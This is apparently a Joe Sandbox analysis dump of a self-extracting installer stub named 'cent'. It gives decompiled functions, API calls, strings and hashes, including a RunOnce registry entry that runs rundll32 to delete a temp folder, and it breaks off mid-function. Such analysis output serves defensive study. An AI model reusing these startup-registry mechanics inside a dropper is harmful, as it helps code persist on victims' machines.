0x00322cd1
0x00322cd3
0x00322cd9
0x00322ce9
0x00322cf9
0x00322d0e
0x00322d15
0x00322d1c
0x00322ef3
0x00000000
0x00322d2d
0x00322d34
0x00322d3b
0x00322d40
0x00322d48
0x00322d59
0x00322d84
0x00322e1f
0x00322e1f
0x00322e2e
0x00322e41
0x00322e5a
0x00322e62
0x00322e6c
0x00322e6c
0x00322e75
0x00322e77
0x00322e77
0x00322e84
0x00322e8b
0x00322e94
0x00000000
0x00322e96
0x00322e96
0x00322e9e
0x00322ea2
0x00322eba
0x00000000
0x00322ece
0x00322ede
0x00322eed
0x00000000
0x00000000
0x00000000
0x00000000
0x00322eed
0x00322eef
0x00322eef
0x00322eef
0x00322eef
0x00322ea2
0x00322e86
0x00322e88
0x00322e88
0x00322e43
0x00322e48
0x00000000
0x00322e48
0x00322e30
0x00322e30
0x00322ef8
0x00322f01
0x00000000
0x00322f01
0x00322d8a
0x00322d8f
0x00322da1
0x00000000
0x00322da3
0x00322dae
0x00322db4
0x00322dbb
0x00000000
0x00322dca
0x00322dd3
0x00322df5
0x00322e02
0x00000000
0x00000000
0x00000000
0x00000000
0x00322dd5
0x00322dde
0x00322de3
0x00322e04
0x00322e0a
0x00322e10
0x00000000
0x00322e10
0x00322dd3
0x00322dbb
0x00322da1
0x00322d5b
0x00322d5b
0x00322d5d
0x00322d69
0x00322d6e
0x00322f06
0x00322f06
0x00322f06
0x00322d59
0x00322f18

APIs

memset.MSVCRT ref: 00322CD9
memset.MSVCRT ref: 00322CE9
memset.MSVCRT ref: 00322CF9

Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246A0
Part of subcall function 0032468F: SizeofResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246A9
Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246C3
Part of subcall function 0032468F: LoadResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246CC
Part of subcall function 0032468F: LockResource.KERNEL32(00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246D3
Part of subcall function 0032468F: memcpy_s.MSVCRT ref: 003246E5
Part of subcall function 0032468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003246EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00322D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00322D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00322DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00322DBD
CloseHandle.KERNEL32(cent,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00322E0A

Part of subcall function 003244B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00324518
Part of subcall function 003244B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00324554

Strings

cent, xrefs: 00322D04, 00322DD9, 00322DF0
EXTRACTOPT, xrefs: 00322D4D
TITLE, xrefs: 00322D09
VERCHECK, xrefs: 00322E54
INSTANCECHECK, xrefs: 00322D95

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$cent
API String ID: 1002816675-2654900392
Opcode ID: 8cf33790724bafb0aa42fb5da5227513ea3dfdb49cf7632bc46504c573a83f00
Instruction ID: dd50be38bbefcaadd788e2779d03cebec251736f5352019ead80cd8428eb3c0f
Opcode Fuzzy Hash: 8cf33790724bafb0aa42fb5da5227513ea3dfdb49cf7632bc46504c573a83f00
Instruction Fuzzy Hash: 1951E370600331BBE733AB21BD4AB7B369CEB45710F02442EF946D91D5DEB88C42D666

Uniqueness

Uniqueness Score: -1.00%

Function 003234F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E003234F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0x3291d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0x328584 = _t35;
					E003243D0(_t35, GetDesktopWindow());
					__eflags =  *0x328184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, "cent");
					_t17 = CreateThread(0, 0, E00324FE0, 0, 0, 0x328798);
					 *0x32879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E003244B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0x32858c);
					_t38 =  *0x328584; // 0x0
					_t25 = E003244B9(_t38, 0x4b2, 0x321140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0x3291d8 = 1;
						SetEvent( *0x32858c);
						_t39 =  *0x32879c; // 0x0
						E00323680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0x32858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0x32879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x003234fb
0x003234fe
0x00323665
0x00323666
0x00323666
0x00323668
0x0032366e
0x0032366e
0x00323671
0x00323671
0x00323677
0x00000000
0x00323677
0x00323504
0x00323506
0x00323507
0x0032350c
0x0032365b
0x0032365f
0x00000000
0x00000000
0x00000000
0x00323661
0x00323512
0x00323515
0x003235be
0x003235c1
0x003235d1
0x003235d8
0x003235de
0x003235f8
0x00323617
0x00323617
0x00323623
0x00323637
0x0032363d
0x00323642
0x00323644
0x00000000
0x00323646
0x00323652
0x00323657
0x00323658
0x00000000
0x00323658
0x00323644
0x0032351b
0x0032351d
0x0032354f
0x00323553
0x00000000
0x00000000
0x0032355f
0x00323565
0x0032357c
0x00323581
0x00323584
0x0032359b
0x003235a1
0x003235a7
0x003235ad
0x003235b3
0x003235b8
0x00000000
0x003235b8
0x00323586
0x00323588
0x00000000
0x00000000
0x00323590
0x00000000
0x00323590
0x00323524
0x00323535
0x00323541
0x00000000
0x00323549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 00323535
EndDialog.USER32(?,?), ref: 00323541
ResetEvent.KERNEL32 ref: 0032355F
SetEvent.KERNEL32(00321140,00000000,00000020,00000004), ref: 00323590
GetDesktopWindow.USER32 ref: 003235C7
GetDlgItem.USER32(?,0000083B), ref: 003235F1
SendMessageA.USER32(00000000), ref: 003235F8
GetDlgItem.USER32(?,0000083B), ref: 00323610
SendMessageA.USER32(00000000), ref: 00323617
SetWindowTextA.USER32(?,cent), ref: 00323623
CreateThread.KERNEL32 ref: 00323637
EndDialog.USER32(?,00000000), ref: 00323671

Strings

cent, xrefs: 0032361D

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: cent
API String ID: 2406144884-3940384054
Opcode ID: dd96fc28ef8035ae991f597af440d52410ccf7ca3413715ef1f33aba9fe53021
Instruction ID: 76501b085d5a310539f6fe2409494d206b4d6be14667284c941bf3d9d2a4b469
Opcode Fuzzy Hash: dd96fc28ef8035ae991f597af440d52410ccf7ca3413715ef1f33aba9fe53021
Instruction Fuzzy Hash: 5431D430240321BBD7331F25FC8DE2B3A6DE786F11F20492DF606952A0CB799A12DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00324224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00324224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E003244B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0x3288c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0x3287a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0x328598;
					_v36 = 1;
					_v32 = E00324200;
					_v28 = 0x3288c0;
					 *0x32a288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0x32a288(_t32, 0x3288c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0x3288c0 != 0) {
							E00321680(0x3287a0, 0x104, 0x3288c0);
						}
						 *0x32a288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0x3287a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0x3288c0);
					_t61 = 0x3288c0;
					_t4 =  &(_t61[1]); // 0x3288c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0x3288c0; // 0x651181
					_t44 = CharPrevA(0x3288c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0x3288c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x00324234
0x0032423c
0x00324240
0x003243b2
0x003243b7
0x003243c0
0x00000000
0x003243c5
0x0032424c
0x00324252
0x00324257
0x003243a4
0x003243a5
0x003243ab
0x00000000
0x003243ab
0x00324263
0x00324269
0x0032426e
0x00000000
0x00000000
0x0032427a
0x00324280
0x00324285
0x00000000
0x00000000
0x0032428d
0x00324293
0x003242e6
0x003242e9
0x003242ef
0x003242f4
0x003242f7
0x00324300
0x00324307
0x0032430e
0x00324315
0x0032431c
0x00324322
0x00324326
0x0032432d
0x0032432d
0x0032432f
0x00324334
0x00324343
0x00324349
0x0032434d
0x00324354
0x00324354
0x0032435d
0x0032436e
0x0032436e
0x0032437d
0x00324383
0x00324387
0x0032438e
0x0032438e
0x00324387
0x00324391
0x00324399
0x00000000
0x00324295
0x0032429f
0x003242a5
0x003242aa
0x003242aa
0x003242ad
0x003242ad
0x003242af
0x003242b0
0x003242b6
0x003242c2
0x003242c8
0x003242ce
0x003242e4
0x003242e4
0x00000000
0x003242ce

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00324236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 0032424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00324263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 0032427A
GetTempPathA.KERNEL32(00000104,003288C0,?,00000001), ref: 0032429F
CharPrevA.USER32(003288C0,00651181,?,00000001), ref: 003242C2
CharPrevA.USER32(003288C0,00000000,?,00000001), ref: 003242D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00324391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 003243A5

Strings

SHGetPathFromIDList, xrefs: 00324274
SHELL32.DLL, xrefs: 0032422F
SHBrowseForFolder, xrefs: 00324246

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 7f0a3ac8cb48dd77b13c751164898c2a4666f579b4c034f423b31201b44b5709
Instruction ID: c19d8ff9efc20780400f71342bfadb596bd35987077103719f09c3a76cbf60fc
Opcode Fuzzy Hash: 7f0a3ac8cb48dd77b13c751164898c2a4666f579b4c034f423b31201b44b5709
Instruction Fuzzy Hash: EA412978A01324EFD723AF74FC84AAE7BB8EB49744F05456DEA41A7291CB758C02C761

Uniqueness

Uniqueness Score: -1.00%

Function 00322773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00322773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0x328004; // 0x2c4b51c8
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E00321781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E0032658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E0032658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0x321140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E00321680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E00326CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x00322773
0x0032277e
0x00322785
0x0032278a
0x0032278d
0x00322790
0x00322792
0x00322798
0x0032279d
0x003228b2
0x00000000
0x003227a3
0x003227a3
0x003227af
0x003227c2
0x003227c8
0x003227cd
0x003227d5
0x003228b7
0x003228b9
0x00000000
0x003227db
0x003227dd
0x003228aa
0x00000000
0x003227e3
0x003227e3
0x003227ec
0x003227f8
0x00322803
0x0032280b
0x00322831
0x003228c3
0x003228c9
0x003228cd
0x00322837
0x0032285a
0x0032285c
0x00322865
0x00322892
0x00322895
0x00000000
0x00000000
0x00322867
0x00322878
0x0032288c
0x00000000
0x0032287a
0x00322880
0x00322885
0x00322897
0x00322899
0x00322899
0x00322878
0x00322865
0x003228a0
0x003228bf
0x003228c1
0x00000000
0x00000000
0x003228c1
0x00322831
0x003227dd
0x003227d5
0x003228e5

APIs

CharUpperA.USER32(2C4B51C8,00000000,00000000,00000000), ref: 003227A8
CharNextA.USER32(0000054D), ref: 003227B5
CharNextA.USER32(00000000), ref: 003227BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00322829
RegQueryValueExA.ADVAPI32(?,00321140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00322852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00322870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003228A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 003228AA
GetSystemDirectoryA.KERNEL32 ref: 003228B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 003227E4

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 0541825808ae35e36988e0c4fa1c823c74f65fcf5e19a4b9d51481dbb361ac42
Instruction ID: eb4eca6058ad4c7576d9663b33ec3ba5c4c18a84bfd43770dcc1066528f26823
Opcode Fuzzy Hash: 0541825808ae35e36988e0c4fa1c823c74f65fcf5e19a4b9d51481dbb361ac42
Instruction Fuzzy Hash: 9E419371E0013CAFDB269B64AC85AEF77BDEF55700F0140A9F549D2110DBB09E869FA1

Uniqueness

Uniqueness Score: -1.00%

Function 00322267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00322267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0x328004; // 0x2c4b51c8
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0x328530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E0032658A( &_v268, 0x104, 0x321140);
							}
							_push("C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
							E0032171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup1", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E00326CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x00322272
0x00322277
0x00322279
0x00322283
0x00322289
0x003222ab
0x003222b1
0x003222c4
0x003222e0
0x003222e6
0x003222f5
0x0032230d
0x0032231c
0x0032231c
0x00322321
0x0032233a
0x00322342
0x00322348
0x0032234b
0x0032234c
0x0032234c
0x0032234e
0x0032234f
0x0032236e
0x0032236e
0x0032237a
0x00322380
0x00322380
0x00322381
0x00322381
0x0032238f

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 003222A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000000,?,?,00000001), ref: 003222D8
memset.MSVCRT ref: 003222F5
GetSystemDirectoryA.KERNEL32 ref: 00322305
RegSetValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 0032236E
RegCloseKey.ADVAPI32(?), ref: 0032237A

Strings

wextract_cleanup1, xrefs: 0032227C, 003222CD, 00322363
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00322321
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00322299
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 0032232D

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup1
API String ID: 3027380567-2048191181
Opcode ID: 6e11c6ef491cac7eaeb3ac1d0966f01754a350c59c97a378d8b9aa28eb7b70dc
Instruction ID: 1487df983fd5530660672154d388d319abadef49587fb325dd39ee2708ec11f8
Opcode Fuzzy Hash: 6e11c6ef491cac7eaeb3ac1d0966f01754a350c59c97a378d8b9aa28eb7b70dc
Instruction Fuzzy Hash: 6D318475A002287BDB23DB51EC49FDB777CEF55710F0001A9F54DAA051DA71AB89CA50

Uniqueness

Uniqueness Score: -1.00%

Function 00323100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00323100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0x328590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0x328590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E003243D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0x328d4c);
					SetWindowTextA(_t33, "cent");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0x3288b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E003230C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x00323108
0x0032310b
0x003231b7
0x003231ca
0x003231d0
0x003231d0
0x003231da
0x00000000
0x003231da
0x00323111
0x00323114
0x00323136
0x00323136
0x00323138
0x0032313b
0x00323141
0x00000000
0x00323143
0x00323116
0x0032311b
0x0032314b
0x00323151
0x00323158
0x0032316a
0x00323176
0x0032317d
0x0032318b
0x0032319e
0x003231a3
0x00000000
0x003231ad
0x00323120
0x00000000
0x00000000
0x0032312a
0x00323134
0x00000000
0x00000000
0x00000000
0x00323134
0x0032312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 0032313B
GetDesktopWindow.USER32 ref: 0032314B
SetDlgItemTextA.USER32(?,00000834), ref: 0032316A
SetWindowTextA.USER32(?,cent), ref: 00323176
SetForegroundWindow.USER32(?), ref: 0032317D
GetDlgItem.USER32(?,00000834), ref: 00323185
GetWindowLongA.USER32(00000000,000000FC), ref: 00323190
SetWindowLongA.USER32(00000000,000000FC,003230C0), ref: 003231A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 003231CA

Strings

cent, xrefs: 00323170

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: cent
API String ID: 3785188418-3940384054
Opcode ID: a872adb4a06e1668fa1643465e30eb5496a16036e02727afb50d341bcf192bf4
Instruction ID: dbbcba6bcc88df969d1b45d2f348226155effa0f0f90e260bc554e308a6eede0
Opcode Fuzzy Hash: a872adb4a06e1668fa1643465e30eb5496a16036e02727afb50d341bcf192bf4
Instruction Fuzzy Hash: 3C11B431205625BBDB336F24BC0DBAA3A6CFB46730F110618F915D11E0DB78A662D792

Uniqueness

Uniqueness Score: -1.00%

Function 003218A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E003218A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0x328004; // 0x2c4b51c8
				_v8 = _t23 ^ _t53;
				_t25 =  *0x328128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
